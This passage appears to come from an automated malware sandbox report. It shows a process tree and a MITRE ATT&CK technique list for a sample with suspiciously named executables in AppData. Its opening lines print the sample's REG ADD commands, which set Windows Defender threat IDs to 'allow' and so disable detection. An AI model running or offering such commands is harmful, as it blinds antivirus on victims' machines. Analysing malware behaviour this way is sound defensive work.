\"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:2540

C:\Users\Admin\AppData\Local\WindowsHealthSystem.exe
C:\Users\Admin\AppData\Local\WindowsHealthSystem.exe
1⤵
PID:5272

C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe
C:\Users\Admin\AppData\Roaming\grhgjhjh\grhgjhjh.exe
1⤵
PID:4312

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:4580

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
1⤵
PID:5592

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Scripting

T1064

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Scripting

T1064

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

T1497

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

System Information Discovery